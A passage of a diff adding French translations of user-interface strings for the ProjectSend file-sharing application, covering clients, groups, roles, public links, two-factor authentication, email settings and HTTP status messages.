"Clients", + "Clients and groups that can download this file": "Clients et groupes pouvant télécharger ce fichier", + "Clients asking to join groups": "Clients demandant à rejoindre des groupes", + "Clients who registered themselves and are waiting for approval": "Clients inscrits par eux-mêmes et en attente d'approbation", + "Close": "Fermer", + "Collapse": "Réduire", + "Collapse All": "Réduire tout", + "Color": "Couleur", + "Columns": "Colonnes", + "Comment": "Commentaire", + "Confirm": "Confirmer", + "Confirm password": "Confirmer le mot de passe", + "Conflict": "Conflit", + "Connect": "Connecter", + "Connection Closed Without Response": "Connexion fermée sans réponse", + "Connection Timed Out": "La connexion a expiré", + "Continue": "Continuer", + "Copy URL": "Copier l'URL", + "Copy link": "Copier le lien", + "Counters": "Compteurs", + "Create": "Créer", + "Create :name": "Créer :name", + "Create a client account": "Créer un compte client", + "Create a public link": "Créer un lien public", + "Create a staff account for this installation": "Créer un compte d'équipe pour cette installation", + "Create administrator account": "Créer le compte administrateur", + "Create an account for someone you share files with": "Créer un compte pour une personne avec qui vous partagez des fichiers", + "Create categories": "Créer des catégories", + "Create category": "Créer une catégorie", + "Create client": "Créer un client", + "Create clients": "Créer des clients", + "Create custom assets": "Créer des ressources personnalisées", + "Create field": "Créer un champ", + "Create folder": "Créer un dossier", + "Create group": "Créer un groupe", + "Create groups": "Créer des groupes", + "Create link": "Créer le lien", + "Create own folders": "Créer ses propres dossiers", + "Create role": "Créer un rôle", + "Create system users": "Créer des utilisateurs système", + "Create user": "Créer un utilisateur", + "Created": "Créé", + "Created a public link for the file \":subject\"": "A créé un lien public pour le fichier \":subject\"", + "Created by": "Créé par", + "Created the account \":subject\"": "A créé le compte \":subject\"", + "Created the folder \":subject\"": "A créé le dossier \":subject\"", + "Created the group \":subject\"": "A créé le groupe \":subject\"", + "Created the role \":subject\"": "A créé le rôle \":subject\"", + "Custom": "Personnalisé", + "Custom assets": "Ressources personnalisées", + "Custom fields": "Champs personnalisés", + "Custom links with an optional expiration date or download limit, no account needed.": "Des liens sur mesure, avec une date d'expiration ou une limite de téléchargements facultatives, sans aucun compte.", + "Custom roles let you grant a precise set of permissions": "Les rôles personnalisés vous permettent d'accorder un ensemble précis de permissions", + "Custom SMTP": "SMTP personnalisé", + "Customize the wording of any transactional email sent by this installation.": "Personnalisez la formulation de chaque e-mail transactionnel envoyé par cette installation.", + "Customized": "Personnalisé", + "Dark": "Sombre", + "Dashboard": "Tableau de bord", + "Dashboard widgets": "Widgets du tableau de bord", + "Data retention and visibility for this installation": "Conservation des données et visibilité pour cette installation", + "Database": "Base de données", + "Date": "Date", + "Days before a denied membership request can be made again": "Jours avant qu'une demande d'adhésion refusée puisse être renouvelée", + "Deactivate your account now; it is permanently erased after :days days": "Désactivez votre compte maintenant ; il est effacé définitivement après :days jours", + "Deactivated the account \":subject\"": "A désactivé le compte \":subject\"", + "Default": "Par défaut", + "Defaults to the file name.": "Reprend le nom du fichier par défaut.", + "Delete": "Supprimer", + "Delete :name": "Supprimer :name", + "Delete account": "Supprimer le compte", + "Delete all": "Tout supprimer", + "Delete all failed": "Supprimer toutes les échouées", + "Delete all failed jobs?": "Supprimer toutes les tâches échouées ?", + "Delete categories": "Supprimer des catégories", + "Delete category": "Supprimer la catégorie", + "Delete category?": "Supprimer la catégorie ?", + "Delete client": "Supprimer le client", + "Delete client?": "Supprimer le client ?", + "Delete clients": "Supprimer des clients", + "Delete custom assets": "Supprimer des ressources personnalisées", + "Delete field": "Supprimer le champ", + "Delete field?": "Supprimer le champ ?", + "Delete file": "Supprimer le fichier", + "Delete file?": "Supprimer le fichier ?", + "Delete files": "Supprimer des fichiers", + "Delete folder": "Supprimer le dossier", + "Delete folder?": "Supprimer le dossier ?", + "Delete group": "Supprimer le groupe", + "Delete group?": "Supprimer le groupe ?", + "Delete groups": "Supprimer des groupes", + "Delete others' files": "Supprimer les fichiers des autres", + "Delete own files": "Supprimer ses propres fichiers", + "Delete role": "Supprimer le rôle", + "Delete role?": "Supprimer le rôle ?", + "Delete selected": "Supprimer la sélection", + "Delete selected files?": "Supprimer les fichiers sélectionnés ?", + "Delete system users": "Supprimer des utilisateurs système", + "Delete this file?": "Supprimer ce fichier ?", + "Delete user": "Supprimer l'utilisateur", + "Delete user?": "Supprimer l'utilisateur ?", + "Deleted account": "Compte supprimé", + "Deleted the account \":name\"": "A supprimé le compte \":name\"", + "Deleted the file \":name\"": "A supprimé le fichier \":name\"", + "Deleted the folder \":name\" and its contents": "A supprimé le dossier \":name\" et son contenu", + "Deleted the group \":name\"": "A supprimé le groupe \":name\"", + "Deleted the orphan file \":name\"": "A supprimé le fichier orphelin \":name\"", + "Deleted the role \":name\"": "A supprimé le rôle \":name\"", + "Denied the account request of \":name\"": "A refusé la demande de compte de \":name\"", + "Denied the membership of \":member\" to the group \":subject\"": "A refusé l'adhésion de \":member\" au groupe \":subject\"", + "Deny": "Refuser", + "Deny this request?": "Refuser cette demande ?", + "Description": "Description", + "Description (optional)": "Description (facultatif)", + "Detach": "Détacher", + "Details": "Détails", + "Disable": "Désactiver", + "Disable two-factor authentication?": "Désactiver l'authentification à deux facteurs ?", + "Disabled two-factor authentication": "A désactivé l'authentification à deux facteurs", + "Discard": "Jeter", + "Discourage search engines from indexing this site": "Dissuader les moteurs de recherche d'indexer ce site", + "Dismiss": "Masquer", + "Documentation": "Documentation", + "Don't have an account?": "Vous n'avez pas de compte ?", + "Done": "Fait", + "Down": "Descendre", + "Download": "Télécharger", + "Download as zip": "Télécharger en ZIP", + "Downloaded the file \":subject\"": "A téléchargé le fichier \":subject\"", + "Downloaded the file \":subject\" via a public link": "A téléchargé le fichier \":subject\" via un lien public", + "Downloaded the file \":subject\" via the public group listing": "A téléchargé le fichier \":subject\" via l'annuaire public des groupes", + "Downloads": "Téléchargements", + "Downloads are never recorded with an IP address.": "Les téléchargements ne sont jamais enregistrés avec une adresse IP.", + "Drag to reorder": "Faites glisser pour réordonner", + "Drag widgets here": "Faites glisser des widgets ici", + "Dropdown": "Liste déroulante", + "Duplicate": "Dupliquer", + "Duplicate :name": "Dupliquer :name", + "Edit": "Éditer", + "Edit :name": "Modifier :name", + "Edit categories": "Modifier des catégories", + "Edit clients": "Modifier des clients", + "Edit custom assets": "Modifier des ressources personnalisées", + "Edit email templates": "Modifier les modèles d'e-mail", + "Edit groups": "Modifier des groupes", + "Edit others' files": "Modifier les fichiers des autres", + "Edit own files": "Modifier ses propres fichiers", + "Edit system settings": "Modifier les paramètres système", + "Edit system users": "Modifier des utilisateurs système", + "Edit this client account": "Modifier ce compte client", + "Edit this staff account": "Modifier ce compte d'équipe", + "Edition": "Édition", + "Email": "E-mail", + "Email address": "Adresse e-mail", + "Email settings": "Paramètres d'e-mail", + "Email template reset to default.": "Modèle d'e-mail réinitialisé aux valeurs par défaut.", + "Email template saved.": "Modèle d'e-mail enregistré.", + "Email templates": "Modèles d'e-mail", + "Empty file": "Fichier vide", + "Enable": "Activer", + "Enable the public directory page": "Activer la page d'annuaire public", + "Enable two-factor authentication": "Activer l'authentification à deux facteurs", + "Enabled two-factor authentication": "A activé l'authentification à deux facteurs", + "Encrypted environment file already exists.": "Le fichier d'environnement chiffré existe déjà.", + "Encrypted environment file not found.": "Fichier d'environnement chiffré introuvable.", + "Encryption": "Chiffrement", + "Enter one of your recovery codes.": "Saisissez l'un de vos codes de récupération.", + "Enter the six-digit code from your authenticator app.": "Saisissez le code à six chiffres de votre application d'authentification.", + "Enter your email and password below to log in": "Saisissez ci-dessous votre adresse e-mail et votre mot de passe pour vous connecter", + "Environment": "Environnement", + "Environment file already exists.": "Le fichier d'environnement existe déjà.", + "Environment file not found.": "Fichier d'environnement introuvable.", + "errors": "les erreurs", + "Every comment on files you can see, newest first": "Tous les commentaires sur les fichiers que vous pouvez voir, du plus récent au plus ancien", + "Every download records the IP address of whoever downloaded it.": "Chaque téléchargement enregistre l'adresse IP de la personne qui l'a effectué.", + "Everyone": "Tout le monde", + "Everything that happened on this installation, newest first": "Tout ce qui s'est passé sur cette installation, du plus récent au plus ancien", + "Expand": "Développer", + "Expand All": "Développer tout", + "Expectation Failed": "Comportement attendu insatisfaisant", + "Expires": "Expire", + "Expires :date": "Expire le :date", + "Explanation": "Explication", + "Export": "Exporter", + "Export :name": "Exporter :name", + "Export CSV": "Exporter en CSV", + "External storage": "Stockage externe", + "Extra fields shown on the client create and edit screens.": "Champs supplémentaires affichés sur les écrans de création et de modification des clients.", + "Failed Dependency": "Dépendance échouée", + "Failed to send: :error": "Échec de l'envoi : :error", + "File": "Déposer", + "File: :name": "Fichier : :name", + "File deleted.": "Fichier supprimé.", + "File imported.": "Fichier importé.", + "File name": "Nom du fichier", + "File shared with a client": "Fichier partagé avec un client", + "File updated.": "Fichier mis à jour.", + "File uploaded.": "Fichier téléversé.", + "Files": "Des dossiers", + "Files can only be assigned to clients or groups.": "Les fichiers ne peuvent être attribués qu'à des clients ou à des groupes.", + "Files shared with you": "Fichiers partagés avec vous", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "Des fichiers présents sur le disque sans enregistrement correspondant — issus d'un téléversement interrompu, d'une restauration ou d'une intervention manuelle sur le système de fichiers.", + "Flat labels for files — independent of folders. A file can have several.": "Des étiquettes à plat pour les fichiers — indépendantes des dossiers. Un fichier peut en avoir plusieurs.", + "Folder": "Dossier", + "Folder: :name": "Dossier : :name", + "Folder created.": "Dossier créé.", + "Folder deleted.": "Dossier supprimé.", + "Folder shared with a client": "Dossier partagé avec un client", + "Folders can only be shared with clients or groups.": "Les dossiers ne peuvent être partagés qu'avec des clients ou des groupes.", + "Folders cannot be nested more than :max levels deep.": "Les dossiers ne peuvent pas être imbriqués sur plus de :max niveaux.", + "Forbidden": "Interdit", + "Forgot password?": "Mot de passe oublié ?", + "Found": "Trouvé", + "From": "De", + "From address": "Adresse d'expéditeur", + "From name": "Nom d'expéditeur", + "Gateway Timeout": "Temps d'attente de la passerelle dépassé", + "General": "Général", + "General settings": "Paramètres généraux", + "Go Home": "Aller à l'accueil", + "Go to page :page": "Aller à la page :page", + "Go to the login form": "Aller au formulaire de connexion", + "Gone": "Disparu", + "Gray": "Gris", + "Green": "Vert", + "Group": "Groupe", + "Group created.": "Groupe créé.", + "Group deleted.": "Groupe supprimé.", + "Group membership approved": "Adhésion au groupe approuvée", + "Group membership denied": "Adhésion au groupe refusée", + "Group updated.": "Groupe mis à jour.", + "Groups": "Groupes", + "Groups clients can request to join at registration": "Groupes que les clients peuvent demander à rejoindre lors de l'inscription", + "Groups let you assign files to several clients at once": "Les groupes vous permettent d'attribuer des fichiers à plusieurs clients à la fois", + "Hello :name,": "Bonjour :name,", + "Hello, :name": "Bonjour, :name", + "Hello!": "Bonjour !", + "Here is what has been shared with you": "Voici ce qui a été partagé avec vous", + "Hide": "Cacher", + "Hide :name": "Cacher :name", + "Home": "Accueil", + "Host": "Hôte", + "How client accounts are created on this installation": "Comment les comptes clients sont créés sur cette installation", + "How long a self-deleted account is kept before it is permanently erased.": "Durée de conservation d'un compte supprimé par son titulaire avant son effacement définitif.", + "How many files/folders were shared at once": "Nombre de fichiers/dossiers partagés en une seule fois", + "HTTP Version Not Supported": "Version HTTP non prise en charge", + "I'm a teapot": "Je suis une théière", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "Si ce compte n'est plus disponible au moment de l'effacement, les fichiers sont supprimés plutôt que laissés sans propriétaire.", + "If you did not create an account, no further action is required.": "Si vous n'avez pas créé de compte, vous pouvez ignorer ce message.", + "If you did not request a password reset, no further action is required.": "Si vous n'avez pas demandé de réinitialisation de mot de passe, vous pouvez ignorer ce message.", + "If you received this, your email configuration is working.": "Si vous avez reçu ce message, votre configuration e-mail fonctionne.", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "Si vous avez des difficultés à cliquer sur le bouton \":actionText\", copiez et collez l'URL ci-dessous\ndans votre navigateur Web :", + "IM Used": "IM utilisé", + "Image": "Image", + "Impersonate": "Utiliser un autre compte", + "Impersonation": "Imitation", + "Import": "Importer", + "Import :name": "Importer :name", + "Import orphan files": "Importer des fichiers orphelins", + "Import selected": "Importer la sélection", + "Imported the orphan file \":subject\"": "A importé le fichier orphelin \":subject\"", + "Inactive": "Inactif", + "Include this file when a group it's shared with is public.": "Inclure ce fichier lorsqu'un groupe avec lequel il est partagé est public.", + "Insert": "Insérer", + "Installed ProjectSend": "A installé ProjectSend", + "Insufficient Storage": "Espace insuffisant", + "Internal Server Error": "Erreur interne du serveur", + "Introduction": "Introduction", + "Invalid filename.": "Nom de fichier incorrect.", + "Invalid JSON was returned from the route.": "Un JSON non valide a été renvoyé par la route.", + "Invalid SSL Certificate": "Certificat SSL invalide", + "Label": "Libellé", + "Last modified": "Dernière modification", + "Latest files": "Derniers fichiers", + "Leave": "Quitter", + "Leave empty for a link that never expires.": "Laissez vide pour un lien qui n'expire jamais.", + "Leave empty for unlimited downloads.": "Laissez vide pour des téléchargements illimités.", + "Leave group": "Quitter le groupe", + "Leave this group?": "Quitter ce groupe ?", + "Left the group \":subject\"": "A quitté le groupe \":subject\"", + "length": "longueur", + "Length Required": "Longueur requise", + "Library": "Bibliothèque", + "Light": "Clair", + "Like": "Aimer", + "Limit download counts": "Limiter le nombre de téléchargements", + "Limit to assigned clients": "Limiter aux clients attribués", + "Limits for files uploaded to this installation": "Limites applicables aux fichiers téléversés sur cette installation", + "Link unavailable": "Lien indisponible", + "Load": "Charger", + "Loading…": "Chargement…", + "Local storage": "Stockage local", + "Localize": "Localiser", + "Location": "Emplacement", + "Locked": "Verrouillé", + "Log in": "Se connecter", + "Log In": "Se connecter", + "Log in to your account": "Connectez-vous à votre compte", + "Log out": "Se déconnecter", + "Log Out": "Se déconnecter", + "Logged in": "S'est connecté", + "Logged out": "S'est déconnecté", + "Login": "Connexion", + "Logout": "Déconnexion", + "Loop Detected": "Boucle détectée", + "Mail provider settings saved.": "Paramètres du fournisseur d'e-mail enregistrés.", + "Mailgun": "Mailgun", + "Maintenance Mode": "Mode de maintenance", + "Manage custom fields": "Gérer les champs personnalisés", + "Manage public links from the edit page.": "Gérez les liens publics depuis la page de modification.", + "Manage system users and roles": "Gérer les utilisateurs système et les rôles", + "Manage updates": "Gérer les mises à jour", + "Manage your profile and account settings": "Gérez votre profil et les paramètres de votre compte", + "Mark all read": "Tout marquer comme lu", + "Mark as read": "Marquer comme lu", + "Mark as unread": "Marquer comme non lu", + "Max downloads": "Téléchargements max.", + "Maximum file size (MB)": "Taille maximale des fichiers (Mo)", + "Member": "Membre", + "Members": "Membres", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "Les membres de ce rôle ne voient que les fichiers et dossiers des clients qui leur sont attribués, ainsi que leurs propres téléversements.", + "Membership request approved.": "Demande d'adhésion approuvée.", + "Membership request denied.": "Demande d'adhésion refusée.", + "Membership requests": "Demandes d'adhésion", + "Membership requests are reviewed by an administrator": "Les demandes d'adhésion sont examinées par un administrateur", + "Method Not Allowed": "Méthode non autorisée", + "Minutes until the reset link expires": "Minutes avant l'expiration du lien de réinitialisation", + "Misdirected Request": "Demande mal dirigée", + "Modified": "Modifié", + "Moved Permanently": "Déplacé de façon permanente", + "Moved the folder \":subject\"": "A déplacé le dossier \":subject\"", + "Multi-line text": "Texte multiligne", + "Multi-Status": "Statut multiple", + "Multiple Choices": "Choix multiples", + "Multiple files/folders shared at once (digest)": "Plusieurs fichiers/dossiers partagés en une fois (résumé)", + "My files": "Mes fichiers", + "My groups": "Mes groupes", + "Name": "Nom", + "Name or description": "Nom ou description", + "Name or email address": "Nom ou adresse e-mail", + "Never": "Jamais", + "Never expires": "N'expire jamais", + "Network Authentication Required": "Authentification réseau requise", + "Network Connect Timeout Error": "Temps d'attente de la connexion réseau dépassé", + "Network Read Timeout Error": "Temps d'attente de la lecture réseau dépassé", + "New": "Nouveau", + "New :name": "Nouveau :name", + "New category": "Nouvelle catégorie", + "New client": "Nouveau client", + "New client registrations and client uploads are sent here — at least one address is required.": "Les nouvelles inscriptions de clients et leurs téléversements sont envoyés ici — au moins une adresse est requise.", + "New field": "Nouveau champ", + "New folder": "Nouveau dossier", + "New group": "Nouveau groupe", + "New membership request from :client for the group \":group\".": "Nouvelle demande d'adhésion de :client pour le groupe \":group\".", + "New password (leave blank to keep current)": "Nouveau mot de passe (laissez vide pour conserver l'actuel)", + "New role": "Nouveau rôle", + "New user": "Nouvel utilisateur", + "News": "Actualités", + "Next": "Suivant", + "No": "Non", + "No activity matches these filters.": "Aucune activité ne correspond à ces filtres.", + "No activity recorded yet.": "Aucune activité enregistrée pour l'instant.", + "No categories match your search.": "Aucune catégorie ne correspond à votre recherche.", + "No categories yet.": "Aucune catégorie pour l'instant.", + "No clients match these filters.": "Aucun client ne correspond à ces filtres.", + "No clients yet.": "Aucun client pour l'instant.", + "No comments match these filters.": "Aucun commentaire ne correspond à ces filtres.", + "No Content": "Pas de contenu", + "No custom fields yet.": "Aucun champ personnalisé pour l'instant.", + "No downloads recorded yet.": "Aucun téléchargement enregistré pour l'instant.", + "No fields match your search.": "Aucun champ ne correspond à votre recherche.", + "No files have been shared with you yet.": "Aucun fichier n'a encore été partagé avec vous.", + "No files here yet.": "Aucun fichier ici pour l'instant.", + "No files or folders match your search.": "Aucun fichier ni dossier ne correspond à votre recherche.", + "No files yet. Upload the first one.": "Aucun fichier pour l'instant. Téléversez le premier.", + "No folder": "Aucun dossier", + "No groups match these filters.": "Aucun groupe ne correspond à ces filtres.", + "No groups yet.": "Aucun groupe pour l'instant.", + "No members yet.": "Aucun membre pour l'instant.", + "No more categories": "Plus aucune catégorie", + "No more clients to add": "Plus aucun client à ajouter", + "No news yet.": "Aucune actualité pour l'instant.", + "No orphan files found.": "Aucun fichier orphelin trouvé.", + "No orphan files match your search.": "Aucun fichier orphelin ne correspond à votre recherche.", + "No pending requests.": "Aucune demande en attente.", + "No public links yet.": "Aucun lien public pour l'instant.", + "No recipients added yet.": "Aucun destinataire ajouté pour l'instant.", + "No requests match your search.": "Aucune demande ne correspond à votre recherche.", + "No roles match this filter.": "Aucun rôle ne correspond à ce filtre.", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "Aucune limite de taille. Les téléversements peuvent être mis en pause et reprennent automatiquement après une interruption.", + "No users match these filters.": "Aucun utilisateur ne correspond à ces filtres.", + "No users yet.": "Aucun utilisateur pour l'instant.", + "Nobody (optional for everyone)": "Personne (facultatif pour tous)", + "Non-Authoritative Information": "Informations non certifiées", + "None": "Aucun", + "None of the selected items could be found.": "Aucun des éléments sélectionnés n'a pu être trouvé.", + "Not Acceptable": "Pas acceptable", + "Not Extended": "Non prolongé", + "Not Found": "Non trouvé", + "Not Implemented": "Non implémenté", + "Not Modified": "Non modifié", + "Not shared with anyone yet.": "Partagé avec personne pour l'instant.", + "Notification settings": "Paramètres de notification", + "Notifications": "Notifications", + "Nothing is publicly shared yet.": "Rien n'est encore partagé publiquement.", + "of": "de", + "OK": "OK", + "One option per line": "Une option par ligne", + "Only clients can be group members.": "Seuls les clients peuvent être membres d'un groupe.", + "Only clients can comment here.": "Seuls les clients peuvent commenter ici.", + "Only for anonymous downloads": "Uniquement pour les téléchargements anonymes", + "Only people who are signed in can comment here.": "Seules les personnes connectées peuvent commenter ici.", + "Only staff can comment here.": "Seule l'équipe peut commenter ici.", + "Only the wording below is editable — any button or link in this email stays fixed.": "Seule la formulation ci-dessous est modifiable — les boutons et liens de cet e-mail restent inchangés.", + "Open": "Ouvrir", + "Open folder": "Ouvrir le dossier", + "Open in a current window": "Ouvrir dans une fenêtre actuelle", + "Open in a new window": "Ouvrir dans une nouvelle fenêtre", + "Open in a parent frame": "Ouvrir dans un cadre parent", + "Open in the topmost frame": "Ouvrir dans le cadre le plus haut", + "Open on the website": "Ouvrir sur le site", + "Open public listing": "Ouvrir l'annuaire public", + "Options": "Options", + "Or enter this key manually:": "Ou saisissez cette clé manuellement :", + "Orange": "Orange", + "Origin Is Unreachable": "L'origine est inaccessible", + "Outgoing email": "E-mails sortants", + "Outgoing email theme": "Thème des e-mails sortants", + "Page :current of :last": "Page :current sur :last", + "Page Expired": "Page expirée", + "Pagination Navigation": "Pagination", + "Partial Content": "Contenu partiel", + "Password": "Mot de passe", + "Password reset": "Réinitialisation du mot de passe", + "Path": "Chemin", + "Payload Too Large": "Charge utile trop grande", + "Payment Required": "Paiement requis", + "Pending approval": "En attente d'approbation", + "Permanent Redirect": "Redirection permanente", + "Permanently erased a deleted account": "A effacé définitivement un compte supprimé", + "Permissions": "Permissions", + "Pink": "Rose", + "Platform": "Plateforme", + "Please click the button below to verify your email address.": "Veuillez cliquer sur le bouton ci-dessous pour vérifier votre adresse e-mail :", + "Port": "Port", + "Postmark": "Postmark", + "Powered by ProjectSend": "Propulsé par ProjectSend", + "Precondition Failed": "La précondition a échoué", + "Precondition Required": "Condition préalable requise", + "Preparing your download…": "Préparation de votre téléchargement…", + "Preview": "Aperçu", + "Preview: :theme": "Aperçu : :theme", + "Previous": "Précédent", + "Price": "Prix", + "Privacy": "Confidentialité", + "Privacy settings": "Paramètres de confidentialité", + "Private": "Privé", + "Processing": "En traitement", + "Profile": "Profil", + "Profile information was updated": "Les informations du profil ont été mises à jour", + "ProjectSend :latestVersion is available (you have :currentVersion)": "ProjectSend :latestVersion est disponible (vous avez la :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "ProjectSend est un logiciel libre et open source pour envoyer des fichiers à vos clients. Il est publié sous la :license, ce qui signifie que vous êtes libre de l'utiliser, de l'étudier, de le modifier et de le partager.", + "ProjectSend is ready": "ProjectSend est prêt", + "ProjectSend was installed": "ProjectSend a été installé", + "Provider": "Fournisseur", + "Proxy Authentication Required": "Authentification proxy requise", + "Public": "Public", + "Public file": "Fichier public", + "Public files": "Fichiers publics", + "Public group": "Groupe public", + "Public group listing": "Annuaire public des groupes", + "Public groups": "Groupes publics", + "Public link": "Lien public", + "Public link created.": "Lien public créé.", + "Public link revoked.": "Lien public révoqué.", + "Public links": "Liens publics", + "Public listing": "Annuaire public", + "Public listing settings": "Paramètres de l'annuaire public", + "Public listing URL": "URL de l'annuaire public", + "Public pages & portal": "Pages publiques et portail", + "Public pages and client portal theme": "Thème des pages publiques et du portail client", + "Published": "Publié", + "Purple": "Violet", + "Quota": "Quota", + "Railgun Error": "Erreur de Railgun", + "Range Not Satisfiable": "Plage non satisfaisante", + "Read more": "En savoir plus", + "Reassign them to": "Les réattribuer à", + "Recent activity": "Activité récente", + "Recipient": "Destinataire", + "Record": "Enregistrer", + "Record IP addresses for downloads": "Enregistrer les adresses IP des téléchargements", + "Recovery code": "Code de récupération", + "Red": "Rouge", + "Regards,": "Cordialement,", + "Regenerate recovery codes": "Régénérer les codes de récupération", + "Regenerate recovery codes?": "Régénérer les codes de récupération ?", + "Regenerated two-factor recovery codes": "A régénéré les codes de récupération à deux facteurs", + "Register": "Inscription", + "Register to access the files shared with you.": "Inscrivez-vous pour accéder aux fichiers partagés avec vous.", + "Register to request access. An administrator will review your request.": "Inscrivez-vous pour demander un accès. Un administrateur examinera votre demande.", + "Registered a new client account": "A créé un nouveau compte client", + "Related": "Associé", + "Remember me": "Se souvenir de moi", + "Remove": "Retirer", + "Removed \":member\" from the group \":subject\"": "A retiré \":member\" du groupe \":subject\"", + "Removed the file \":subject\" from :target": "A retiré le fichier \":subject\" de :target", + "Rename": "Renommer", + "Renamed the folder \":subject\"": "A renommé le dossier \":subject\"", + "Repository": "Dépôt", + "Request declined": "Demande refusée", + "Request Header Fields Too Large": "Champs d'en-tête de requête trop grands", + "Request membership": "Demander l'adhésion", + "Request membership to groups (optional)": "Demander l'adhésion à des groupes (facultatif)", + "Request Timeout": "Temps d'attente de la requête dépassé", + "Requested": "Demandé", + "Requested membership to the group \":subject\"": "A demandé l'adhésion au groupe \":subject\"", + "Requested memberships wait in the membership requests queue for approval.": "Les adhésions demandées attendent leur approbation dans la file des demandes d'adhésion.", + "Require two-factor authentication": "Exiger l'authentification à deux facteurs", + "Required": "Obligatoire", + "Reset Content": "Réinitialiser le contenu", + "Reset Password": "Réinitialisation du mot de passe", + "Reset Password Notification": "Notification de réinitialisation du mot de passe", + "Reset this email to its default wording?": "Réinitialiser cet e-mail à sa formulation par défaut ?", + "Reset to default": "Réinitialiser aux valeurs par défaut", + "Restore": "Restaurer", + "Restore :name": "Restaurer :name", + "Restricted extension": "Extension restreinte", + "Result": "Résultat", + "results": "résultats", + "Review membership requests": "Examiner les demandes d'adhésion", + "Review pending requests": "Examiner les demandes en attente", + "Retry With": "Réessayer avec", + "Revoke": "Révoquer", + "Revoke link": "Révoquer le lien", + "Revoke this public link?": "Révoquer ce lien public ?", + "Revoked a public link for the file \":subject\"": "A révoqué un lien public pour le fichier \":subject\"", + "Role": "Rôle", + "Role created.": "Rôle créé.", + "Role deleted.": "Rôle supprimé.", + "Role name": "Nom du rôle", + "Role updated.": "Rôle mis à jour.", + "Roles": "Rôles", + "Sample email": "Exemple d'e-mail", + "Save": "Sauvegarder", + "Save :name": "Sauvegarder :name", + "Save & Close": "Sauvegarder et fermer", + "Save & Return": "Sauvegarder et retourner", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "Enregistrez vos modifications pour mettre cela en ligne — d'ici là, ces boutons pointent vers une page qui n'est pas encore publiée.", + "Saved": "Enregistré", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "Scannez ce QR code avec votre application d'authentification, puis saisissez le code à six chiffres pour confirmer.", + "Scanning:": "Analyse en cours :", + "Scheduled tasks": "Tâches planifiées", + "Search": "Rechercher", + "Search :name": "Chercher :name", + "Search all files and folders": "Rechercher dans tous les fichiers et dossiers", + "Search by client or group": "Rechercher par client ou groupe", + "Search by name": "Rechercher par nom", + "Search by name or email address": "Rechercher par nom ou adresse e-mail", + "Search by path": "Rechercher par chemin", + "Search categories": "Rechercher des catégories", + "Search fields": "Rechercher des champs", + "Search your files": "Rechercher dans vos fichiers", + "Security": "Sécurité", + "Security settings": "Paramètres de sécurité", + "See Other": "Voir autre", + "Select": "Sélectionner", + "Select :name": "Sélectionner :name", + "Select a client or group": "Sélectionnez un client ou un groupe", + "Select a client to add": "Sélectionnez un client à ajouter", + "Select a role": "Sélectionnez un rôle", + "Select All": "Tout sélectionner", + "Select an option": "Sélectionnez une option", + "Select at least one file or folder.": "Sélectionnez au moins un fichier ou un dossier.", + "Self-registered clients join this group automatically.": "Les clients inscrits par eux-mêmes rejoignent automatiquement ce groupe.", + "Send": "Envoyer", + "Send email notifications": "Envoyer les notifications par e-mail", + "Send test email": "Envoyer un e-mail de test", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "Envoie immédiatement un vrai e-mail, sans passer par la file d'attente, pour vérifier que les paramètres ci-dessus fonctionnent réellement.", + "Separate paragraphs with a blank line.": "Séparez les paragraphes par une ligne vide.", + "Server Error": "Erreur serveur", + "Service Unavailable": "Service indisponible", + "Session Has Expired": "La session a expiré", + "Set file expiration dates": "Définir des dates d'expiration des fichiers", + "Set to 0 for no limit. Available disk space still applies.": "Mettez 0 pour ne fixer aucune limite. L'espace disque disponible s'applique toujours.", + "Set to 0 to allow requesting again immediately.": "Mettez 0 pour autoriser une nouvelle demande immédiatement.", + "Set up ProjectSend": "Configurer ProjectSend", + "Settings": "Paramètres", + "Settings that apply to the whole installation": "Paramètres qui s'appliquent à toute l'installation", + "Setup complete": "Configuration terminée", + "Share a file with the people who manage your account.": "Partagez un fichier avec les personnes qui gèrent votre compte.", + "Share files with several clients at once": "Partager des fichiers avec plusieurs clients à la fois", + "Shared the folder \":subject\" with :target": "A partagé le dossier \":subject\" avec :target", + "Shared with": "Partagé avec", + "Shared with :count": "Partagé avec :count", + "Sharing": "Partage", + "Sharing a folder shares everything inside it, now and later": "Partager un dossier partage tout ce qu'il contient, maintenant et par la suite", + "Show": "Afficher", + "Show :name": "Afficher :name", + "Show All": "Afficher tout", + "Showing": "Montrant", + "Showing matches from across your library": "Résultats provenant de toute votre bibliothèque", + "Showing matches from everything shared with you": "Résultats provenant de tout ce qui a été partagé avec vous", + "Shown across the application and to your clients.": "Affiché dans toute l'application et auprès de vos clients.", + "Shows a registration form on the login screen.": "Affiche un formulaire d'inscription sur l'écran de connexion.", + "Sign In": "Se connecter", + "Sign up": "S'inscrire", + "Site name": "Nom du site", + "Size": "Taille", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "Ne pas enregistrer l'adresse IP lorsque le téléchargement provient d'un compte connecté — son identité est déjà connue.", + "SMTP configuration": "Configuration SMTP", + "Source code": "Code source", + "Special public links": "Liens publics particuliers", + "Solve": "Résoudre", + "Something went wrong. Please try again.": "Une erreur est survenue. Veuillez réessayer.", + "SSL": "SSL", + "SSL Handshake Failed": "Échec de la prise de contact SSL", + "Staff": "Équipe", + "Start": "Commencer", + "Status": "Statut", + "Stop": "Arrêter", + "Stopped sharing the folder \":subject\" with :target": "A cessé de partager le dossier \":subject\" avec :target", + "Storage": "Stockage", + "Storage free": "Stockage libre", + "Storage quota (MB)": "Quota de stockage (Mo)", + "Storage used": "Stockage utilisé", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "Conservez ces codes de récupération en lieu sûr. Chacun peut servir une fois si vous perdez l'accès à votre application d'authentification.", + "Subfolders": "Sous-dossiers", + "Subject": "Objet", + "Submit": "Soumettre", + "Subscribe": "S'abonner", + "Success: test email sent to :email via :hostport.": "Succès : e-mail de test envoyé à :email via :hostport.", + "Support the project": "Soutenir le projet", + "Switch": "Changer", + "Switch To Role": "Passer au rôle", + "Switching Protocols": "Protocoles de commutation", + "System": "Système", + "System Administrator": 